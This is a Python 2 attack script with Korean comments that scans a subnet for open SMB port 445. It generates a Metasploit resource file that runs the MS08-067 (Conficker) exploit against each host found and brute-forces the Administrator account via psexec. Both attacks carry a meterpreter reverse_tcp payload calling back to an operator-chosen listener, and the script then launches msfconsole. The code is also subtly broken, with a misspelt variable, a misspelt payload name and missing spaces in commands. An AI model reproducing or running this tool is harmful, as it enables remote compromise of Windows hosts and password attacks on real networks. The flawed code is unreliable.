# -*- coding: utf-8 -*-
import nmap
import os
import optparse
import sys
def findTgts(subnet): # SMB 포트가 열려있는지 확인
nmScan = nmap.PortScanner()
nmScan.scan(subnet, '445') #455가 대표적 SMB 포트
tgtHosts = []
for host in nmaScan.all_hosts():
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts
def setupHandler(configFile, lhost, lport): #리스서 생성, 생성된 파일을 msf로 실행하고
configFile.write('use exploit/multi/handler\n')#공격이 성공하면 세션이 열림
configFile.write('set payload' +\
'windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
configFile.write('set DisablePayloadHandler 1\n')
def confickerExploit(configFile, tgtHost, lhost, lport): #익스플로잇 코드
configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
configFile.write('set RHOST ' +str(tgtHost) + '\n')
configFile.write('set payload' +\
'windows/meterreter/reverse_tcp\n')
configFile.write('set LPORT ' + str(lport) + '\n')
configFile.write('set LHOST ' + lhost + '\n')
configFile.write('exploit -j -z\n')
def smbBrute(configFile, tgtHost, passwdFile, lhost, lport): #취약점이 막혀있을때를 대비 브루트 포스다.
username = 'Administrator'#윈도우는 기본적으로 이 계정이므로 기본적으로 설정
pF = open(passwdFile, 'r')
for password in pF.readlines():
password = password .strip('\n').strip('\r')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+ str(username) + '\n')
configFile.write('set SMBPass '+ str(password) + '\n')
configFile.write('set RHOST '+ str(tgtHost) + '\n')
configFile.write('set payload '+\
'windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+ str(lport) + '\n')
configFile.write('set LHOST '+ lhost + '\n')
configFile.write('exploit -j -z\n')
def main():
configFile = open('meta.rc', 'w')
parser = optparse.OptionParser('[-] Usage %prog ' +\
'-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
parser.add_option('-H', dest='tgtHost', type = 'string',\
help = 'specify the target address[es]')
parser.add_option('-p', dest='lport', type='string', \
help='specify the listen port')
parser.add_option('-l', dest='lhost', type='string', \
help='specify the listen address')
parser.add_option('-F', dest='passwdFile', type='string', \
help='password file for SMB brute force attempt')
(options,args) = parser.parse_args()
if (options.tgtHost == None) | (options.lhost == None):
print parser.usage
exit(0)
lhost = options.lhost
lport = options.lport
if lport == None:
lport = '1337' # 기본 리스너 포트지정
passwdFile = options.passwdFile
tgtHosts = findTgts(options.tgtHost)
setupHandler(configFile, lhost, lport)
for tgtHost in tgtHosts: # 여러 타켓을 반복해서 안되면 무차별로 가는걸로 설정
confickerExploit(configFile, tgtHost, lhost, lport)
if passwdFile != None:
smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
configFile.close()
os.system('msfconsole -r meta.rc') #작성한 핸들러 실행, 핸들러 실행을 하지 않으면 공격에 성공해도 제어를 하지 못함
if __name__ == '__main__':
main()